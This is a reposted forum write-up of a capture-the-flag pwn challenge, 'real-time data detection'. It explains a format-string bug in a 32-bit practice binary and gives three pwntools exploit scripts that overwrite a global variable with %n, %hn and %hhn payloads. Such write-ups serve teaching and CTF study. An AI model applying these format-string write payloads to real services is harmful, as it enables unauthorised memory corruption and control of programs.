ToB企服应用市场:ToB评测及商务社交产业平台
标题:
攻防世界pwn题:实时数据检测
[打印本页]
作者:
莫张周刘王
时间:
2022-6-23 09:10
标题:
攻防世界pwn题:实时数据检测
0x00:查看文件
一个32位的文件,canary、NX、PIE保护机制均关闭。
0x01:用IDA进行静态分析
程序很简单,输入一串字符(个数限制:512),然后再输出。最后根据key变量进行条件语句执行。
在imagemagic函数中用printf(format)进行输出,大概率有格式化字符串漏洞。因为key的地址在bss段:0x0804A048,所以试试用格式化字符串漏洞进行覆盖。
检测一下是否可以对随意地址进行覆盖:
有重复的,位于第12个参数。重复的原因是因为s是定义在了栈上。
payload = p32(key_addr) + b'%035795742d' + b'%12$n'
将key的地址写在第一位,相当于也会写在第12参数上。
%12$n : 是指对第12的参数写入前面成功输出的字节数。
%035795742d:前面key_addr已经占了4个字节,还要在输出35795746 - 4个字节。
0x02:完整EXP
from pwn import *
context(os='linux', arch='i386', log_level='debug')
io = process("./datajk")
#io = remote("111.200.241.244",65079)
key_addr = 0x0804A048
payload = p32(key_addr) + b'%35795742d' + b'%12$n'
io.sendline(payload)
io.interactive()
复制代码
远程的话大概要几分钟输出,本地的话快一点。这种方法看着就很粗鲁,但很简单。
0x03:使用标志进行改进
上面因为%n是写入4字节数据,所以就直接写整个数,导致要输出大量数据才可以满足。但带格式化字符串中有那么两个标识:
h :以双字节的形式;
hh:以单字节的形式;
使用h标志进行改进:
要使key=35795746(0x0222 3322),因为程序为小端序,高字节存储在低地址。所以就是要使key_addr处为0x3322,key_addr+2处为0x0222。
from pwn import *
context(os='linux', arch='i386', log_level='debug')
#io = process("./datajk")
io = gdb.debug("./datajk")
key_addr = 0x0804A048
#35795746 == 0x02223322
#num1 = 0x222 0x222 == 546
#num2 = 0x3322 0x3322 == 13090; 12544=13090-546
payload = p32(key_addr) + p32(key_addr + 2)
payload += b'%0538d' + b'%13$hn'
payload += b'%012544d' + b'%12$hn'
io.sendline(payload)
io.interactive()
复制代码
注:用%n写入数据的顺序要从写入数值小的开始。
前面已经输出了两个地址,占了8字节,所以0x222要减去8为538。后面的12544同理,要减去已输出的量。
使用hh标志进行改进:
将0x02223322拆分成\x02 \x22 \x33 \x22(地址:high -> low),按数值从小到大依次写入。
这时要灵活的改变‘覆盖地址’的参数位了,可以先看一下wiki中的这个页面的‘覆盖小数字’:
https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-exploit/#_14
exp里面的a主要用于调参数位(按4调整)。由于这里调动比较灵活,同时代码不唯一,但大概思想不变。所以就不做多解释了,有问题可以在评论区提出。
from pwn import *
context(os='linux', arch='i386', log_level='debug')
io = process("./datajk")<br>key_addr = 0x0804A048
#0x02 22 33 22 (high -> low)
#input 0x02
payload = b'aa%15$hhnaaa' + p32(key_addr + 3)
#input 0x22(two)
payload += p32(key_addr + 2) + p32(key_addr) + b'%017d%16$hhn' + b'%17$hhna'
#input 0x33
payload += p32(key_addr + 1) + b'%012d%23$hhn'
io.sendline(payload)
io.interactive()<br>
复制代码
0x04:感触
没有绝对安全的系统!
tolele
2022-06-16
来源:
https://www.cnblogs.com/tolele/p/16381683.html
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/)
Powered by Discuz! X3.4